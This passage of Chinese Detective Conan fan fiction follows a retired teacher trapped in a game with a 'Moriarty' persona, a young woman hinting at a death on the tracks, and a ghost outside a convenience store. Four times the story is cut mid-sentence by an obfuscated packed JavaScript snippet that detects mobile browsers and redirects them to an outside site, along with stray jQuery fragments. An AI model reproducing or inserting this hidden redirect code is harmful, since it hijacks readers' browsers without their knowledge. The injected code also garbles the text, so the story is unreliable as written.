“嘛,如果是重要的戒指,我孙子先生肯定会回来的。” 安室透一边拿着扫把扫地,一边回答着。他长得实在是太符合大众审美了,甚至可以说权威,因此,光是静静地做这种稀疏平常的小事,都会让人觉得赏心悦目。 “但是,这种东西……” 小梓皱起眉来:“总是感觉和我孙子爷爷身份不符呢,虽然我孙子爷爷一直都很注重自己的打扮,但因为人太好了,完全没办法把他和大人物联系起来。” “人都是有秘密的。” “总不可能我孙子爷爷是什么漂洋过海、隐藏身份的贵族吧?” “没准是呢。” 安室透笑了笑,他的视线落在了窗外,不知道是看见了谁的身影,动作停顿了一下。 “看来戒指很快就能还回去了,”他这样说,榎本梓不解地看向他,安室却不解释,只是笑,客人推门进来了,男服务生便扬声道,“欢迎光临!——” 刚刚还被他们谈论的藤次晃拉开门,走了进来。 而在他身后,跟着个年轻的女人。 “一杯热茶,”藤次晃道,他的穿衣打扮和平常没什么两样,只是不知为何,让人觉得他更像是老师了,“还有一杯拿铁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732857|172950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿铁还是送到老位置就好。” “好的。” ………… 藤次晃就只是打算乘地铁随便去哪个地方待着。 毕竟退休以后,他就没有工作,每天最需要思考的事就是三餐吃什么。孩子们在的时候,看他太闲就会带着他一起去逛什么二次元店铺;孩子们不在的时候,他就自己带根手杖或者一把黑伞,上街闲逛,闲逛到下午,这才回去家里。 这种情况、不能说没遇见过,只能说,遇见的次数比较少。 ……你问哪种情况? 卧轨的情况。 因为卧轨,他要乘坐的那一辆列车暂且停运,恢复运作得等至少半小时。藤次晃没看到什么过于血腥的画面,但毫无理由的,他失去了乘车的想法。 只是。 在离开月台时,他遇见了一个看起来浑浑噩噩的年轻孩子。 那孩子看起来不过大学生的年纪,身上穿的也是再普通不过的素色卫衣与牛仔裤,给人一种乡下地方来的朴素感,又因为留着蘑菇头、或者称作学生发型,刘海很薄,以至于给人的第一印象就是学习很好。 “……车延误了。” 藤次晃毫无由来地提醒了她。 “诶?啊、啊!——”那孩子花了好半天才反应过来,一惊一乍,就像是熬夜熬得太久了,导致大脑的思考能力延缓,“谢谢您……啊,请问要延误多久?” “半小时以上吧。” “……是这样吗?” “卧轨人员的尸体并不好处理,”藤次晃道,他自己也不明白为什么要同这个孩子说这些,是这孩子和他孙女长得有一点像吗,那好像也没有,“这种情况下,还坚持乘车的话,大概一天的运气都不会太好。” 年轻人的表情一变再变了,从茫然、搞不懂变成了警惕。 很正常,藤次晃自己遇到传销人员时也是这副表情。像她这样的孩子多些警戒心总是没什么坏处,社会就是这样,即使是看起来很和善的老爷爷老奶奶,也可能是坏蛋。 藤次晃点了点头,只留下了一句他自己听着也没头没脑的“没准洗手的话,会让运气好一些”,便离开了。 但不知道为什么,那孩子在他说完后,一直跟在他身后。 走过漫长的街道,藤次晃就这样又回了米花町,在这个周四的下午,破例,再来了一次波洛咖啡厅。他没记起戒指的事,因为那对他来说确实不要紧。 “热茶给那个孩子。” 藤次晃最后道,他往窗边那个常坐的位置去了。 而那个女孩子观察了一圈店里,最后在一个距离藤次晃不远、也不太近的位置坐下。她还没开始点单,机灵的安室透已经将藤次晃点的热茶放到她的桌上。 榎本梓也很快端着拿铁过来,而在托盘上,放的正是藤次晃遗落的那枚戒指。 “您的拿铁。” 她将杯子放下,随后又问:“这个戒指是您之前掉的吗,我孙子爷爷?” “……啊,掉在你们这里了吗?” 爷爷迷茫一瞬,又很快反应了过来。 “是的,”榎本梓将戒指放到了桌上,“这次请务必要妥善保存哦?如果不小心在别的地方遗失,就难以找回了,这种贵重的东西最好还是放在家里吧?” “倒也没有那么贵重。” 藤次晃本打算直接将戒指放回口袋里,只是听闻这孩子这么说,便干脆、将原先的朴素尾戒摘了下来,把这个孙女在街边五百日元买的玩具戒指戴上了。 而他不知道,自己的气势、在戴上这个指环的一瞬间,产生了微妙的变化。 12.六十二岁、人生导师 藤次晃喝拿铁的速度很慢。 而在他一边发呆一边喝的情况下,杯子里饮料下降的速度就更慢了。时间对于不懂手机乐趣的老年人来说,数十年如一日地漫长,但也容易打发。 那个年轻人率先按耐不住,她借口去了一趟咖啡厅的卫生间,随后回来,在自己的座位前犹豫半晌,而后,像是终于下定决心了,朝着藤次晃的方向走来了。安室透那时恰巧背过身去,自然,没看见那人脸上的表情。 “你……” 她开口,只说了两个音节便停了下来。 老人家并不着急,他只是将手里的杯子轻轻放下,随后,双手交叠,搭在拐杖的握把上。年轻人对上他平静的双眼,身体猛然一颤,和那些被老师指出罪行的学生一模一样。 “想说什么就说吧。” 藤次晃道,他的绿眼睛随着年纪的增大,颜色逐渐变浅,因此在阳光下,给人一种冰冷的、类似无机质的感觉;然而除去这双眼睛,他给人的感觉又十分温和——两者一起出现,就给人一种极致的、难以捉摸的神秘感。 “……您看见了,是吗,”她的态度变得小心翼翼了起来,语气变得恭敬,甚至用上了敬语,“所以才那样建议我吗?” “看见了什么?” 老年人反问。 这个问题毫无任何深意可言,藤次晃唯一看见的只有那个卧轨的年轻人跳下电车时的一点衣角。血腥的场面,没看见;细节的东西,完全没注意。 年轻人抿了抿嘴,好半晌,她摇了摇头,道:“没什么。” 既然人家说没什么,藤次晃也就不好意思在这个问题上深究。这个靠窗的位置能晒到太阳,今天也是个晴天,光透过玻璃,落在他们的桌子上,同时,也落在藤次晃的手上,古朴戒指上的宝石在光的照耀下,略闪光彩。 “我见过很多人,孩子,”藤次晃道,他的本意是让这个年轻人放松下来,把没说完的话说完,以及别把他当成高中班主任那样害怕他,“其中有许多孩子都像你。” “……像我吗?” “是啊,即使没做错什么,却总是一副担惊受怕的模样。” 他并不清楚他的这句客套话在年轻人的耳中犹如一道惊雷,贯穿耳膜、击中惊慌的心脏。这个年轻的女生、约莫二十五不到,大学还未毕业,有些含胸与驼背,穿着的卫衣与牛仔裤皆是廉价的牌子。 与这样的孩子说话,首先就得去肯定她,这是藤次晃这么多年教学下来摸索出的经验。 “我、没做错吗?” “像你这样的孩子,又能做出什么坏事呢,”金白色头发的老人说话语速平缓,语气也平和至极,然而这样,落入对面的年轻人耳朵里,却别有一番深意,“或许你只是看见了糟糕的事、受到惊吓了而已。” 人的话总是可以引申出无限的它意。 对于此人来说,这句话表达了以下意义:首先,这个老人已经知道那人跳下月台的事与她有关,没准连她真正的心思与案件的真相都清楚;其次,便是在说,只要你配合我,我就会成为你的同伙,为你的行为作遮掩。 “您已经猜到我要同您说什么了啊……” 她最终,只是这么回复着。 藤次晃心头一跳,不知为何总有种事情要往他始料未及的方向发展的预感。他摇了摇头,回复了:“如果你不愿意说,我怎么会知道呢。” 似乎是从他的回答中得到了什么令人恐惧的答案,那孩子本就苍白的脸、变得更加没有血色。藤次晃有些纳闷,他的日语和他母语一样好,按道理,不可能出现歧义,这孩子把他的话理解成什么威胁了吗? “我、”出乎意料,女孩颤抖着,张口,把话接了下去,“我该同您说些什么呢?” “说什么都可以。” 不说也可以。 其实只是客套一下的藤次晃已经知道了,自己今天将会在这家咖啡店里待上许久的事实。于是他抬手,招来了比安室透要清闲些的小梓,让她再给对面坐着的年轻人送上杯比较符合年轻人口味的热饮。 风铃也在这时候响了,一群孩子拉开店门,像是被主人放出来的幼年狗一样冲进了店里。 “欢迎光临,柯南君、以及少年侦探团的各位。” 金发的服务生收起托盘,笑着同孩子们打招呼。 “下午好!” 孩子们齐声道。 自我介绍为灰桐由桃子的年轻人在听见那稚嫩的声音时,也没忍住,回过头去看。少年侦探团的核心人物、江户川柯南也恰巧在这时抬头。因为被座椅挡着,所以,他看不太出坐在灰桐由桃子对面的人是谁,只看到阳光下的白发。 “怎么了?” 安室透贴心地弯下腰,他顺着江户川柯南的视线看去,发现这孩子正在看藤次晃那一桌。说起来,这几天,他们与藤次晃碰面的次数还真是有些多。 “那边坐着的是我孙子先生,”他道,他没忘记自己目前的身份,因此,只说,“他是我们店的熟客……柯南君对他很感兴趣吗?” 江户川柯南稍微皱起了眉,他总觉得那两个人交谈值得他关注,然而不等他开口,后面的少年侦探团先开口了,吉田步美抓着安室透的裤子,负责吸引他的注意: “那个啊,安室哥哥——” “嗯?” “我们少年侦探团发现了新的案件哦,”圆谷光彦如是道,“本来我们是想要自己解决的,但是柯南君警惕过头了,不允许我们一个人行动。” “所以啊!” 小岛元太看起来也是一脸不服气:“我们就在想,如果安室哥哥跟着一起的话,柯南那家伙就不会说什么‘太危险了’‘不可以这么做’之类的话了吧?” “嗯嗯,”长得很好人的安室透点了点头,“确实呢,元太君这次的做法很正确,遇到可能很危险的事,确实应该求助大人。” 他停了停,又问: “所以是什么事呢?” 江户川柯南这才把注意从藤次晃那一桌收回来,面对着真实身份为公安警察的安室透,他没有多少迟疑,就将他们今天遭遇的奇怪事件告诉了他——在他们放学回家的这段路上,有一片废弃的厂房区,在之前,基本不会出什么事,然而今天路过时,他们听见那边传来了类似枪响的声音。 因为是江户川柯南负责叙述,所以…… 安室透的表情严肃了起来。 “要麻烦你跟店长说一下,小梓小姐,”金发的侦探就这么说出了榎本梓无比熟悉的话,话还没说完,围裙已经解了下来,“就说我感觉身体不适,所以决定早退了。” “哈?——” 榎本梓的表情复杂得要命,她似乎很想说“为什么还是我去说你自己没手机吗”,但嘴还没张开,那个帅气的男同事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737713|172950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经跟着孩子们离开了。 这边的藤次晃没有回头,他抿了口咖啡,只是道: “侦探走了。” 灰桐由桃子呆愣愣地“啊”一声,她问:“那个金色头发的服务生是侦探?” 老爷爷没回答她。 “那我们刚刚在侦探面前的对话,不会引起怀疑吗?” “我们难道说了什么很奇怪的话吗?”藤次晃反问,他将背往后一靠,手转动着充当尾戒的指环,希望它能别这么松松垮垮的,不知道是心理作用还是什么,在将宝石转至掌心方向后,指环竟真的牢牢卡在了尾指上,“只是在说些闲话,没人会在意我们,孩子。” 还是个大学生的孩子喝了口送上来的南瓜拿铁,勉强按耐下了自己的怀疑,沉下心来,缓缓开口,说起了自己的故事。 ……这是个再正常不过的、年轻人之间的故事。 藤次晃从自己的外孙女口中也听到过类似的故事——看起来光鲜亮丽的室友总是未经准许带着外人进到女孩们公寓来,收拾干净的客厅很快就会就会在室友和外人的摧残下恢复到之前的一地狼藉,因为室友更为漂亮、有人气,因此在外面,总是要忍气吞声的那一方来背上坏名。 说到一些地方,比如现在,灰桐的语气就会低了下来: “如果只是这样,那我或许还能忍下去,至少不是现在和她撕破脸皮……” 脾气好的家伙总是会被另一个人一次又一次试探底线。 只是和他的外孙女不一样,灰桐由桃子的身后没人为她撑腰。因此,当她发现被室友带回家的人想要对她不轨时,她的恐惧无人知晓,也无人诉说。 老年人越听下去,胸膛中的心脏就跳动得越是缓慢。 他端起咖啡杯,不喝,只是将陶瓷的杯底磕到了同样材质的杯托上。陶瓷碰撞的声音拉回了那孩子的意识,这个年轻人很快抬头,眼圈泛红,悲伤而恐惧的表情很快就从脸上消失不见。 ……他猜到这个年轻人干了什么事。 “不用说完。” 藤次晃道,这种事情对他这个过着平和生活的老年人来说,还是有些太刺激了,他不想、也不忍心知道更多的糟糕的故事,白人的心理普遍脆弱,虽然作为老师,他教了这么多年学,见过不少令人难过的教学事故与窒息的原生家庭,但这种…… “没有人能评价你做出的事是正确的还是错误的。” 老人平静地说着,他看着灰桐,淡绿色的眼睛里,看不出同情和怜悯。灰桐由桃子怔怔地看着这个老人,她不明白为什么,自己会从这样一双眼睛里看出可靠来。 藤次晃停了下,又继续道:“你很年轻。” “……嗯。” “晒晒太阳,”调整一下心情,藤次晃想,然后去自首,“你会没事的。” 那孩子愣了下。 灰桐由桃子的眼神从茫然变得坚定,她觉得自己猜到了藤次晃的意思,上面的话大概就是在说让她不必担心,这桩杀人案最后会被判定为自杀——日本警方如此无能,不会查到她身上的。 “我知道了。” 你知道什么了? 藤次晃很想这么问,只是话到了嘴边,毫无由来地变了。他听见自己略带老态的声音,在说着一句: “别和侦探走得太近。” ……被别人抓和自首,量刑标准是不太一样的。 13.六十二岁、老年痴呆 【RZA10088:体会到了吧。】 【RZA10088:这就是莫里亚蒂人物滤镜的威力。】 【RZA10088:只是呼吸,就会让所有存在犯罪心理的人被你的人格魅力折服;只是存在,就会被正派的侦探认为你是在挑衅甚至警告他们——这,就是詹姆斯·莫里亚蒂,一个不向案件走去、犯罪者自会找来膜拜的男人。】 藤次晃看着眼前冒出来的哈士奇客服。 【藤次晃:……】 【藤次晃:现在反悔还来得及吗?】 【RZA10088:货已送出概不退款哦亲亲~】 【RZA10088:还有一件事,是上次没说完的哦,这边是老板原话“玩家你好,我们这边确实是认识到了错误的存在哈,但玩家您已经进入游戏内有一段时间了,故事的主线也已经开始了,您看这边赔付您以上新手福利可以吗?”】 ……他能说不可以吗? 藤次晃实在是有些不想打所谓的游戏了,他六十二岁,三分之二截身体都入土的年纪来打这劳子的全息游戏,说出去本来就能让同龄的老头老太太笑话。现在有了那什么莫里亚蒂人物滤镜,听起来更不明所以的好笑了。 【藤次晃:我不想玩了,能不能退出游戏?】 【RZA10088:这边检测到玩家没有成功攻略主要NPC一位,同时,也没有达成「暗夜女王」成就,因此,玩家您暂时无法结束游戏哦。】 之前不是说只要达成那什么女王成就就能退出游戏了吗? 【RZA10088:之前是之前,现在是现在,侬莫把以前当现在。】 【藤次晃:但这好像是种强买强卖。】 【RZA10088:听不懂侬在说阿西。】 光是文字就透露着奇怪口音的哈士奇客服犹如挣脱了绳子的疯狗,三秒不到瞬间下线,藤次晃沉默半晌,最终只得喝了口拿铁压压惊——攻略是不可能攻略的,他就算是被困在游戏里穷死、饿死,也不可能腆着脸在六十二岁的年纪去骗人感情。 不对,也压根骗不到吧,这里没有恋老癖。 老爷爷将杯子放在桌面上,又将戒指的宝石调回到上手时的方向。他抓着拐杖,有些颤巍地站了起来。老年人的身体就这样坏,一会儿没动都感觉关节开始老化锈蚀。 “要走了吗,我孙子爷爷?” 榎本梓问道,她用擦手巾擦了擦手,这才站回收银台前:“稍等,我算一下……没有东西遗落对吧?” “是的。” 藤次晃从口袋中摸出了自己的钱包,里面放着的纸币有零有整,几枚硬币夹杂其中,给他增添多余重量。老年人将硬币摸出来,放在收银台上,熟练而幽默道: “这是这两天的保管费。” “……每次都用我们店处理硬币,很狡猾啊爷爷。” “毕竟我不擅长数学,”藤次晃随口道,他开玩笑的,毕竟年轻的时候学的和数学还是有些关系,只是单纯地不想处理这些硬币而已,当然,更主要的是因为这里没有小费罐,“辛苦你了,小梓。” “不辛苦。” 小梓如是说,但她看起来很惆怅,眼睛望着店门口,似乎是希望不靠谱的男同事能记起这家店的存在回来上班:“就是一个人值班,有点命苦。” 好可怜的年轻人。 ………… “居然只是个恶作剧……” 江户川柯南看起来有些垂头丧气,不过这也正常,毕竟对一个期待案件的侦探来说,一个无伤大雅的恶作剧将严重打击推理热情。少年侦探团也闷闷地离开,他们各回各家各找各妈,把老好人安室留给了柯南。 “是恶作剧那就太好了,”安室透道,“毕竟这就证明没有人因此受伤……啊,柯南君除外,毕竟谁会想到柯南君会因为冲得太急而摔伤膝盖呢。” 这就是为什么少年侦探团要把安室透留给柯南了。 “可恶——” 刚说完这话,就让被男人背在背上的江户川柯南意识到不妥,拜托,七岁的外表十七岁的内心,为什么现在的他能如此安然地被一个公安背着? 于是,他很快开口,维护起了自己高中生的自尊:“我要自己走!” “可是柯南君的膝盖不是擦破皮了吗?”安室如此道,他们走下天桥,现在是傍晚时分,他送江户川柯南回去之后,还要到公安那边去一趟,看看昨天交代的解密任务执行如何,“稍微忍忍吧。” 孩子在背上的动作很明显。 安室透能感受到这孩子的不情愿,但是没过一会儿,江户川柯南就像发现什么让他感兴趣的东西,主动凑过来揽住他的脖子,昂头、探出上半身去看。 “怎么了?” “我看见松下先生了!” 金发的潜入搜查官明知故问:“那是谁?” 很显然,安室透并不打算告诉江户川柯南,昨天夜里他们曾在一张桌子上吃饭,当时他脸上糊着假面,身边跟着前田他儿子;而江户川柯南和毛利小五郎还有小兰坐一起。 因此,他现在作出的反应是正确的,松下文都次对安室透来说,确实应该是陌生人。 “是叔叔的高中同学啦,”柯南努力伸头去看,想要看见人家在做什么,“据说是游戏开发公司的高层,昨天晚上……等等,凑近一点!” 他的手拍拍身下的安室透,像是把这个尊敬的公安当成了自己的好兄弟服部平次。 观察力同样敏锐的侦探眯起了眼睛: “似乎,是和另一个男人走在一起,在聊天?” 江户川柯南不动声色地看了安室透一眼,顺着他看去的方向,能发现那边基本都是下班在外闲逛的社畜,如此遥远的距离,就连他也是勉强分清站在那儿的人是松下文都次,而没见过松下的安室透却能一眼发现那人似乎在与别人聊天。 “看起来,像是……” 改装过的智能眼镜能当望远镜用。这个功能他也是这时才想起来,于是,柯南按下了镜框上的某一隐蔽按键,一瞬间的功夫,松下文都次和站在他身边与他谈话的男人就映入他的眼中,年幼的侦探喃喃道; “前田、先生?” 安室透负责夹住这孩子双腿的手一瞬间收紧,但很快放松下来。前田天海岸已经被公安保护起来,昨夜之后,他也找了借口把前田吉送到他生父身边。 也就是说。 站在松下文都次身边的、大概率是贝尔摩德。 板仓卓送过来的书籍,除了那一本《圣经》外,安室透都毫无保留送到了贝尔摩德手中。而且当时,那女人并未对他才拿来这么些书籍流露出丝毫怀疑。 她在刺探什么情报? 是关于板仓卓的、还是关于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753994|172950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江户川柯南的…… 安室透的眼神很快就从那边收回来,也颠了颠背上的江户川柯南,要这孩子收回视线。江户川柯南过于聪慧,被那个女人注意到,不会是一件好事。 “我们早点离开吧?” 金发黑皮的男人终于想起了服务生的工作,道:“再不回去的话,没准小梓小姐会生气起来,和店长告状呢……啊,毛利老师家也到晚餐时间了吧?” “今天兰姐姐有训练啦,晚点回家也可以的!” 江户川柯南很显然不想放过松下文都次和披着前田皮的贝尔摩德,昨天晚上在松下家发生的意外一直都给他一种不寻常感——桌上的食物与酒水,铺了地毯以至于让大家差点没有发现平野摔倒的楼梯,以及包上报纸的柜子。 柜子…… 江户川柯南猛地想起了当时松下太太的表情,她在看见柜子上贴着的报纸时,脸上露出的是惊讶的表情,也就是说,那不是她做的。按照原来的计划,平野应该一头磕到那儿,脑袋破洞流血才对。 楼下还有一个人。 我孙子慈,那是他做的,他似乎已经预料到这对夫妻要做什么。 “说起来,安室先生之前在店里有说过的吧?” 安室透不解,歪头:“说过什么?” “我孙子爷爷!”江户川柯南像突然来劲了一样,不去关注那边的前田和松下,转而贴近了背着自己的安室透,“你当时有说,我孙子先生是你们店里的常客,那安室先生能不能给我讲讲我孙子爷爷的事啊?” “我孙子先生啊……” 脸黑心也黑的安室透装模作样地思考起来,在背后这个天才眼镜狗期待的目光下,摇了摇头:“我不清楚哦?” “骗人!” “没有骗人啦,”男人耸了耸肩,“我来波洛的时间只有一个月不到,比小梓小姐少上许多,这段时间里我只见了我孙子先生一次而已,甚至他是熟客的事,都是小梓小姐告诉我的。” “我孙子先生是熟客?” “小梓小姐是这样说的,前天他倒是还在我们店里落下了一个贵重的戒指,今天过来应该只是简单喝一杯然后拿回戒指吧。” ………… 并不知道有两个年轻人在谈论自己的藤次晃打了个喷嚏。 天再次黑了,出来散步的他停在一家莫名眼熟的便利店门前,又一次记不太得回家的路。握着拐杖的老年人盯着路灯杆子好半晌,正准备在心里喊一下哈士奇客服开下导航。 然而下一秒,蹲在路灯杆子边上、叼着半根草的男人抬头,问道: “迷路了?” 藤次晃还没来得及回答,那个男人就非常自来熟地报出来昨天他在便利店店员口中听到过的话,更为精简,压根没管面前这个老年人听没听清,就伸出手比划: “那边直走五百米,坏路灯左转再走二百米,再拐。” “谢谢。” 老年人道,那青年“哼哼”两声表示接受了他的道谢,然而不到三秒,就瞪大眼反应过来事情不对劲。藤次晃拄着拐杖沿着他指的方向走,清瘦的背影犹如风一吹就能倒的竹竿,这背影的氛围感是多少同龄老人羡慕不来的,年纪一上来,除了超人和富豪,谁能够时时刻刻保持自己不驼背缩肩。 那男人快步上前,想拉住藤次晃,却没想到自己拉了个空,连片衣角都没抓住。 14.六十二岁、见鬼 对鬼魂来说,时间的流逝是极为模糊的。 刚死的时候,他就被困在店门口这块不足五平方米的地面无法自由来去了。那时还记得自己是谁,记得死因——甚至偶尔会忘记自己已经死了,追着熟人上去要同人家说话,步子没迈出去就绊倒在原地。 而现在。 路灯杆子边上的鬼魂一边懊恼于自己的莽撞,一边又仔细地搜刮记忆,想要知道如何与人友善而正常地交谈。变成鬼的日子太久,他唯一能做的只有自言自语,语言能力虽然没消失,却也没好到哪里去。 “停下来!” 他大声嚷嚷着,听起来只让人觉得他来意不善,果然,那个长得像外国人的老头加快脚步往前走了。 “我不是坏人,”鬼说,长时间没有与人交谈,这种时候他的嘴有点不受控制,而且这家店门口经常路过不良少年,耳濡目染之下,再礼貌的人都变得有点没礼貌起来,“你给我停下,老头,我说了我不是坏人——我是……” 他是啥来着? 没有时间去想,因为这个老年人腿脚利索,已经走出半里地了,鬼心一横,又喊道:“我是死人、不是坏人!” 这种说话风格真不像他自己。 叼着草的鬼心酸地想,要是他还活着或者能复活,一定要管管附近的鬼火黄毛与不良少年数量过多的问题;而且说真的,这种桀骜不驯的发言不应该出现在他身上,更应该出现他朋友身上……至于是哪个朋友,他就不太清楚了。 但是啊,鬼。 难道你说你是死人就是什么很好的、让人停步的理由吗? 对灵异事件避而远之的藤次晃闻言,反而更不愿意停下来了,他两条老腿能迈多大就迈多大,能走多快就走多快,生怕自己一个慢下来,那个看起来就不太好惹的死人就缠上自己,吸他为数不多的阳寿。 至于他为什么不跑? ……老年人心脏不好,跑步容易嘎得更快。 可悲又可怜的鬼看着老年人离去的背影,大大地叹了口气。他想抽烟,然而没烟可抽,只有嘴里一根草。熊一样的男子蹲下来,忧伤远比路灯照的圈更大。 下一秒,路灯开始一闪一闪。 随后灭了。 并不知道自己就这样伤透了少鬼心的藤次晃,在自己家门口停下,他长长地呼出一块气,庆祝自己从死鬼的手下逃出生天(即使那鬼压根没想朝他动手)。 可他还是高兴得太早了。 大后天,当他出门给自己屯速食食品、却忘记了这条路上有鬼,以致于再次路过这家便利店门口时,藤次晃看着双手抱胸冲他扯着一个凶残笑脸的雄壮男鬼,只觉得自己可能要完。 “又见面了,”有着海苔眉毛的鬼叼着根新的草,道,“老爷爷。” 金白色头发的老年人装作看不见,面不改色地进了这家便利店寻找上次买的速食。店门口的鬼一会把脸贴在玻璃上,一会让自己的半个身体穿过玻璃探进来,似乎是觉得这样就能吸引到藤次晃的注意。 藤次晃:…… 他好想报警说这家店有脏东西啊。 “怎么了,先生,有什么其他需要的吗?” “……没什么。” 莫名有点心累的老爷爷很快付钱,打算走人,然而那边半个身子卡在玻璃里的鬼犹如固执的鱼一般顾涌起来,此情此景,让藤次晃这个本来眼睛没什么大问题的老年人宁可自己有老花眼。 “我知道你看得见我。” 卡在玻璃上的鬼如此道,他是真的很想和人说话:“说真的,老爷爷,你不用怕我,我活着的时候干的也是正当职业。” “这边是您的零钱,请收好。” 收银的店员将零钱放在托盘里,递来,藤次晃正要接过,手却在半空中停了片刻。店里除了他,没别的客人,他装在塑料袋子里的速食也单调得可怜。 “稍等一下。” 藤次晃道。 非常懂得搭配的老年人转身,去给自己拿了几瓶低糖饮料、并要了一份柜台上热卖的玉米汁。店员脸上的礼貌性笑容没有消失,如同机器人一样再次为藤次晃结账,她和上一次接待藤次晃的店员长相相似,态度截然不同—— 可能游戏NPC建模基本一样吧。 他捧着热乎的玉米汁走出店门,卡在玻璃里的鬼也在放弃了自己那惹人心烦的顾涌。 这家伙长着张非常具有男子气概的脸,按道理来说,有着这种脸的男人不会作出这种幼稚的动作,但因为是鬼,连科学道理都不讲了,哪有其他道理可言。 “终于愿意理我了啊,老爷爷。” 藤次晃看了他半晌,最终还是同这个鬼说话了。是福还是祸他分不清,但如果是后者,他想躲也躲不开。一个真正的勇士要勇于直面惨淡的人生,反正他六十二了再熬下去也没几年能活。 “你有什么事,”老爷爷其实很想叹气,“年轻人?” “我只是想跟人说话。” 鬼魂站直了身体,他靠在路灯杆上,身高出众,一米九往上,差不多两米,看着就像打篮球的。死之前没刮胡茬,死了后胡茬就留在脸上,显老,两片海苔眉毛真的很有特色。 “你看起来不像是只要说话的样子,”他活了这么多年,也算半个人精,而且家里那么多小辈都被他研究过,孙子孙女一张嘴要他帮什么忙不用说他都知道,“更像是放心不下什么人,发现有人能看见你后迫不及待请他帮自己去看看那人现状。” “……” 鬼沉默了好半晌,这才试探地问了:“你怎么知道?” 藤次晃也沉默了。 他怎么知道?那当然是因为他看过各种各样的影视剧,看过各种各样被收上来的学生们的漫画和轻小说,里面的情节基本是这么写的。 “这不重要。” 爷爷选择将这个问题敷衍了过去。 “……行。” 其实觉得这还是有点重要的鬼最终尊重了老年人意愿,忽略这点不谈。而此时的藤次晃并不清楚,自己与这个青年人鬼魂的谈话究竟会导致未来的人们对他这个平凡老头有着怎样的误解。 ………… “下午好。” 走进会客室的男人对着坐在那边等着的两个年轻人打了个招呼,他约摸三四十岁,长相老实,穿得像个老板、事实上也确实是老板。如果是江户川柯南、毛利小五郎等人在现场,就能认出他是谁——松下文都次,显而易见。 “下午好,”戴着眼镜的年轻人站起来,“好久不见,松下先生。” 坐在他对面的年轻女生也匆匆站起来,有些局促不安,她同样回了一句“下午好”,随后便是“初次见面请多指教”。她穿得老气,是个没什么自信的年轻大学生,与两个社会人士相比有些上不得台面。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773385|172950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “确实是很久不见了,田中。” 因为是合作过许多次的对象,于是松下先回应了他,随后看向了另一边的灰桐由桃子:“初次见面,灰桐小姐,之前在网上就经常刷到您的剪辑视频,算得上是一种久仰大名了。” “感谢您的夸奖……” 灰桐似乎有些不好意思。 “客套话我们就先不说了,”松下一抬手,旁边的秘书就送上了几份合同,他们三个人聚在一起只是为了谈生意,“直接切入正题吧,我先和田中谈一下游戏PV配乐的事,可能有点无聊,麻烦灰桐小姐担待一下。” “没事没事。” 田中直树没怎么在意灰桐的存在,他头疼得很,熬了一个通宵又遛了狗,他的HP值岌岌可危,再不谈完去休息,没准松下的秘书就要给他叫救护车了。 “关于田中之前发给我的demo,我听了大概在十遍左右,”松下道,田中点了点头,于是这个音游工作室的老板继续了下去,“整体感觉都在线上,确实有我们要求的那种神圣的、和教堂有关的感觉,这让我很期待成品——只不过我有一个私人的要求,你先听听看能不能做到?” 给钱的就是老大,田中没意见:“什么?” “准确来说是我一个朋友的要求……啊,就是加一段不太明显的鼓点,我刚好有保存那个文件。” 松下用自己的手机放了那段鼓点,有规律,但谁也不清楚这个规律究竟是什么。因为田中先生眼镜的反光,灰桐由桃子反倒清楚地看见了发送文件的发件人。 板仓卓。 她不认识。 这种事并不重要,她不认识,在场总有其他人认识,不在场的人也认识。田中直树困得恨不得两眼一翻晕死过去,松下的秘书贴心地开了录音,打算之后把要求什么的都发过去。 只是她手机刚拿出来,就有一通电话打了进来。 “去接吧。” 松下是个很好的老板,他没生气,也可能是因为秘书要接的电话和他们接下来的工作有关。而秘书点了点头,去一边接通,本打算小声交谈,却没想到误触了免提,电话接通时的杂音刺痛了在场所有人的耳膜。 没人对这看似普通的杂音想太多。 而在他们无人知晓的另一边,江户川柯南放下了耳机。 